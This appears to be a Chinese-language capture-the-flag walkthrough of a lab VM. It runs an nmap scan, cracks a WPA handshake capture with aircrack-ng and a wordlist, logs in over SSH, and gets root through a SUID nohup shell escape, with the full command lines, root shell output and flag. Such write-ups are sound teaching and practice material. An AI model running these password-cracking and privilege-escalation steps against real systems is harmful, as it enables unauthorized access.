kali:192.168.111.111

靶机:192.168.111.170

信息收集

端口扫描

nmap -A -v -sV -T5 -p- --script=http-enum 192.168.111.170

访问8999端口发现流量包WPA-01.cap

aircrack-ng爆破密码

aircrack-ng -w /usr/share/wordlists/rockyou.txt WPA-01.cap

使用流量包的ssid作用用户名登录ssh,密码:p4ssword

ssh dlink@192.168.111.170

提权

查找suid权限的文件

find / -user root -perm -u=s -exec ls -al {} \; 2> /dev/null

提权方法:https://gtfobins.github.io/gtfobins/nohup/#suid

nohup /bin/sh -p -c "sh -p <$(tty) >$(tty) 2>$(tty)"

获得flag

dlink@victim01:~$ nohup /bin/sh -p -c "sh -p <$(tty) >$(tty) 2>$(tty)"
nohup: ignoring input and appending output to 'nohup.out'
# id
uid=1002(dlink) gid=1004(dlink) euid=0(root) groups=1004(dlink)
# cd /root
# ls -al
total 68
drwx------ 7 root root 4096 Apr 7 2020 .
drwxr-xr-x 23 root root 4096 Apr 7 2020 ..
lrwxrwxrwx 1 root root 9 Aug 2 2019 .bash_history -> /dev/null
-rw-r--r-- 1 root root 3106 Apr 9 2018 .bashrc
drwx------ 2 root root 4096 Apr 7 2020 .cache
drwx------ 3 root root 4096 Aug 2 2019 .gnupg
-rw------- 1 root root 49 Apr 7 2020 .lesshst
drwxr-xr-x 3 root root 4096 Apr 7 2020 .local
-rw------- 1 root root 0 Apr 7 2020 .mysql_history
-rw-r--r-- 1 root root 148 Aug 17 2015 .profile
-rw------- 1 root root 7 Apr 7 2020 .python_history
-rw-r--r-- 1 root root 66 Apr 7 2020 .selected_editor
drwx------ 2 root root 4096 Apr 7 2020 .ssh
-rw------- 1 root root 8201 Aug 3 2019 .viminfo
-rw-r--r-- 1 root root 207 Apr 7 2020 .wget-hsts
-rw-r--r-- 1 root root 556 Apr 7 2020 flag.txt
drwxr-xr-x 3 root root 4096 Apr 7 2020 snap
# cat flag.txt
Nice work! .:##:::.
.:::::/;;\:.
()::::::@::/;;#;|:.
::::##::::|;;##;|::
':::::::::\;;;/::'
':::::::::::
|O|O|O|O|O|O
:#:::::::##::.
.:###:::::#:::::.
:::##:::::::::::#:.
::::;:::::::::###::.
':::;::###::;::#:::::
::::;::#::;::::::::::
:##:;::::::;::::###::: .
.:::::; .:::##::::::::::::::::
::::::; :::::::::::::::::##:: #rootdance
#

最新文章

  1. Pointer&#39;s NULL And 0
  2. apache 访问权限基本设置
  3. 快速切换目录软件推荐——autojump
  4. 问题分析探讨 --&gt; 大约有700W数据的表,把当天的10W数据select导入新表,整个原来的表就锁死
  5. Visual studio 内存不足的解决方案(out of memory)
  6. TypeError: not enough arguments for format string
  7. cf #214div2
  8. bom是什么?
  9. 关于Java和JavaScript对字符串截取处理的总结
  10. Oracle数据库(一)概述、基础与简单操作
  11. SSM-SpringMVC-17:SpringMVC中深度剖析HandlerAdapter处理器适配器底层
  12. [Swift]LeetCode592. 分数加减运算 | Fraction Addition and Subtraction
  13. Hive 导入 parquet 格式数据
  14. 基于react的MQ管理系统遇到的问题以及解决办法
  15. python包导入细节
  16. WinDbg下载符号文件
  17. Java虚拟机JVM简单理解
  18. 尚硅谷redis学习3-redis启动以后的杂项
  19. java 接口与工厂
  20. (转)TCP连接异常断开检测

热门文章

  1. vue-cli4.3中配置publicPath和router后,报错chunk-vendors.js:1 Uncaught SyntaxError: Unexpected token &#39;&lt;&#39;
  2. SpringBoot中常见问题
  3. 生成数据库文档 —— Spring Boot + Screw
  4. FreeRdp(一):主要数据结构
  5. linux安装oracle客户端
  6. OS-lab3
  7. 12组-Beta冲刺-1/5
  8. 网页识别语音插件annyang可以实现识别中文
  9. DDL数据定义--Hive中数据可和表的基本操作(增删改查)
  10. Java06 面向对象